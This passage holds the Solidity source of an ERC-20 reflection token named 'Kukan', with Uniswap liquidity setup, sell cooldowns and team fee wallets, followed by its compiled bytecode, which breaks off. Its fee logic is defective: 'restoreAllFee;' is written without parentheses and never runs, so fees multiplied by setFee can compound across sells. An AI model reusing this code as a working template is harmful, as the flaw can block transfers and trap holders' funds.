return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Kukan is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kukan";
string private constant _symbol = "KUKAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (15 minutes);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (25 minutes);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (30 minutes);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600581526020017f4b756b616e000000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b554b414e000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061038442611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b91905055506105dc42611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061070842611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73fffffff